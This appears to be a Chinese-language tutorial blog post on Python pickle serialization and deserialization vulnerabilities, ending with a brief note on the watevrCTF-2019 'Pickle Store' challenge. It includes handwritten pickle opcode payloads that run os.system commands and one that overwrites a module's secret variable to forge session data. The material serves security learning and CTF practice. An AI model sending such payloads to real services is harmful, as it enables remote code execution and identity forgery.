Python pickle
- pickle在python中 实现对象结构的 序列化和反序列化
- python序列化(Pickling)是一个将python对象层次结构转换为 可以本地储存 或者 网络传输的 字节流的过程
- python反序列化(unpickling) 是将字节流还原为对象层次结构
数据序列化:就是把不能直接储存的数据 储存到磁盘中,从而延长生命周期
python 常用的系列化库:pickle
和json
pickle模块可以将任意对象序列化成为二进制的字符串,并写入文件中,还可以从文件中读取并且转为写入时的类型
Pickle工作原理
由一串串独立的opcode(指令集)组成,我们可以通过手写opcode来构建
opcode
OpCode全称Operation Code(操作码)如十六进制数0x90
常用的opcode
基础方法
方法 | 作用 |
---|---|
dump | 序列化写入文件 |
load | 读取文件反序列化 |
dumps | 序列化返回对象 |
loads | 反序列化对象 |
序列化函数
pickle.hump(obj,file,[protocol])
函数
接受三个参数,第一个参数包含要储存在文件中的对象,第二个参数事 以二进制形式写入时 所需文件时 获得的文件对象,第三个参数表示序列化协议
举个栗子:
opcode=b'''cos
system
(S'whoami'
tR.'''
cos
system
(S'ls'
tR.
字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack
字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')
字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值
import
opcode=b'''cos
system
(S'whoami'
tR.'''
pockle.loads(opcode)
反序列化函数
pickle.load(file)
函数
一个实例
举个栗子,简单看一下数据序列化的样子
__getstate__
函数
在序列化时调用,指定序列化 某些参数在反序列化时恢复参数
__setstate__
函数
反序列化是配合 __getstate__
函数调用
import pickle
class MyData:
def __init__(self, x):
self.x = x
self.y = self.sqrt(x)
def sqrt(self,x):
return x**x
def __getstate__(self):
self.state = "ok"
print("enter getstate")
# self.__dict__存储关于self.xxx的一些东西
odict = self.__dict__.copy()
del odict['y']
print(odict)
return odict
def __setstate__(self, input):
print("enter setstate")
print(input)
self.x = input['x']
self.y = self.sqrt(self.x)
obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化结果", loaded.y)
__reduce__
方法
用于对象的序列化,如果 __reduce__
方法存在的话,pickle
模块会调用对象的 __reduce__
方法
__reduce__
方法返回一个元组,包含两个元素:一个callable和一个包含传递callable参数的元组,callable通常是一个函数或者类的构造函数
import pickle
class MyClass:
def __init__(self, value):
self.value = value
def __reduce__(self):
# 返回一个元组,包含两个元素:
# 1. 一个callable,用于从pickle状态重建对象
# 2. 一个元组,包含传递给callable的参数
return (self.__class__, (self.value,))
# 创建一个对象
obj = MyClass(42)
# 序列化对象
serialized_obj = pickle.dumps(obj)
# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)
# 输出反序列化后的对象
print(deserialized_obj.value) # 输出: 42
Pickle反序列化漏洞
当我们反序列化一串未知的二进制字节流时,可能会引发恶意的代码执行,因为无法确定该二进制字符串是否是恶意代码
命令执行
手写opcode构造payload,达到一次实现多个命令的结果
import pickle
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#结果如下
xiaoh\34946
xiaoh\34946
实例化对象
import pickle
class Person:
def __init__(self,age,name):
self.age=age
self.name=name
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle
变量覆盖
在session
和token
中,常常储存了一些用户信息,因此我们可以通过变量覆盖实现身份伪造,伪造token
和session
#secret.py
secret="This is a key"
import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
print("secret变量的值为:"+fake.secret)
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!
[watevrCTF-2019]Pickle Store
伪造session
#coding:utf8
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result) #使用b'...'是为了确保处理的是二进制数据
当尝试买了个十块钱的东西后,cookie发生了变化
hmac验证,利用反弹shell
cat flag.txt得到flag
标签:__,Python,self,opcode,print,序列化,pickle From: https://www.cnblogs.com/Yolololo/p/18491450